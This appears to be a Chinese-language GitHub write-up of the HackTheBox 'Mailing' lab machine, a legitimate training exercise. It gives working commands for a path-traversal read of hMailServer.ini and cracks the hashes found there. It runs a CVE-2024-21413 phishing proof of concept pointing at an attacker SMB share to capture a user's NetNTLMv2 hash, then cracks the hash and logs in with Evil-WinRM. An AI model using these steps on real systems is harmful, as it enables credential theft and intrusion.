TheMursalin/HTB-Mailing-A-Complete-Walkthrough
GitHub: TheMursalin/HTB-Mailing-A-Complete-Walkthrough
一份针对 HackTheBox Mailing 机器的详细渗透测试攻略,展示了目录遍历、CVE-2024-21413 和 CVE-2023-2255 等多个漏洞的串联利用过程。
Stars: 0 | Forks: 0
# HTB: Mailing — 完整攻略
**作者:Mursalin**
如果你一直在钻研 HackTheBox 的机器,Mailing 是那些真正能让你学到东西的机器之一。它被评级为 Easy,运行在 Windows 上,并且将几个现实世界的漏洞串联在一起——目录遍历、凭据泄露、CVE-2024-21413 以及 LibreOffice 宏漏洞。让我们一步步来看看。
## 信息收集
像往常一样,我们从 nmap 扫描开始,看看我们要面对什么:
```
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
```
结果返回了相当多的开放端口。重点是:
- **端口 80** — HTTP(重定向到 `mailing.htb`)
- **端口 25, 465, 587** — SMTP
- **端口 110, 993** — POP3 / IMAP(由 hMailServer 提供支持)
- **端口 445** — SMB
- **端口 5985** — WinRM(如果我们拿到了凭据会很有趣)
OS 指纹识别显示为 Windows 10 或 Server 2019,IIS 版本确认为至少是 IIS 10。我还注意到 SMB 消息签名已启用但不是必需的——先记下来,以后可能有用。
邮件端口到处都是,但它们可能需要凭据。端口 80 上的 Web 服务器是明显的起点。
## Web 枚举
在将 `mailing.htb` 添加到 `/etc/hosts` 后,该网站看起来像是一个基于 hMailServer 构建的邮件托管公司。表面上没什么特别的——一个关于部分,一个包含三个名字的团队部分(**Ruy Alonso**、**Maya Bendito**、**Gregory Smith**),以及一个“下载说明”按钮。
下载按钮指向:
```
http://mailing.htb/download.php?file=instructions.pdf
```
那个 `file=` 参数立刻引起了怀疑。让我们测试一下。
我运行了 `ffuf` 来检查子域名——没有发现什么有趣的。然后用 `feroxbuster` 进行目录暴力破解,除了 `download.php` 之外也没有什么新发现。所以我们所有的注意力都集中在这个端点上。
## 目录遍历 → 文件读取
测试 `file` 参数的路径遍历:
```
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
```
它成功了——我们取回了 Windows hosts 文件。这个应用程序实际上只是将一个基本路径前缀到我们提供的任何内容上,然后调用 `file_get_contents()`。没有过滤,没有限制。当我们直接读取 `download.php` 的源码时证实了这一点:
```
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
```
现在我们在 Windows 机器上有了任意文件读取。让我们利用它。
## 泄露 hMailServer 管理员哈希
hMailServer 将其配置存储在 `hMailServer.ini` 中。经过一番研究,该文件位于:
```
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
```
通过我们的遍历读取它:
```
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
```
输出包括:
```
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
```
两个 MD5 哈希。我把它们放到 CrackStation 中:
- `841bb5acfa6779ae432fd7a4e6600ba7` → **homenetworkingadministrator**
- 第二个 → 未找到
所以我们有了 hMailServer 的管理员密码。尝试将其作为 `administrator` Windows 用户用于 SMB 失败了——它不是本地账户密码,只是邮件服务的管理员密码。但它确实可以用于 SMTP 服务认证,这正是我们所需要的。
## CVE-2024-21413 — 通过 Windows Mail 钓鱼 Maya
现在我们需要作为一个真实用户立足。该网站提到使用的邮件客户端是 Windows Mail(根据安装说明 PDF)。是时候检查已知的漏洞了。
CVE-2024-21413 是 Microsoft Outlook 和 Windows Mail 中的一个远程代码执行漏洞。该缺陷在于客户端如何处理电子邮件正文中的 `file://` 协议 URL。通常,不同的协议会受到安全限制。然而,研究人员发现,如果 URL 以 `!anything` 结尾,这些限制会被静默移除。当用户打开甚至预览带有此类链接的电子邮件时,客户端会自动尝试验证到攻击者的 SMB 服务器——从而交出 NetNTLMv2 哈希。
在 GitHub 上有一个由 xaitax 提供的可靠的 PoC。我克隆它并使用以下参数运行:
```
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username administrator@mailing.htb \
--password homenetworkingadministrator \
--sender 0xdf@mailing.htb \
--recipient maya@mailing.htb \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
```
电子邮件发送成功。同时,我在攻击机器上运行 Responder 来捕获传入的身份验证:
```
sudo /opt/Responder/Responder.py -I tun0
```
大约一分钟后,Maya 的客户端打开了电子邮件,Responder 捕获了她的 NetNTLMv2 哈希。我用 hashcat 破解了它:
```
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
```
密码破解成功:**m4y4ngs4ri**
## 以 Maya 身份获取 Shell
有了 Maya 的凭据,我使用 Evil-WinRM 连接:
```
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
```
我们进去了。用户 flag 就在 Maya 的桌面上。
## 权限提升 — CVE-2023-2255 (LibreOffice)
是时候寻找通往 root 的路径了。在系统中探索一番,有一个名为 `Important Documents` 的共享,并且安装了 LibreOffice。这是指向 CVE-2023-2255 的强烈暗示。
CVE-2023-2255 影响 7.4.7 和 7.5.3 之前的 LibreOffice 版本。它滥用“浮动框架”——`.odt` 文档内的链接外部文件。该漏洞导致这些框架在加载时无需询问用户许可,内容可以是在文档加载时执行的宏。
elweth-sec 的 PoC 生成一个嵌入了 shell 命令的恶意 `.odt`。文档结构在 `content.xml` 中嵌入了一个 `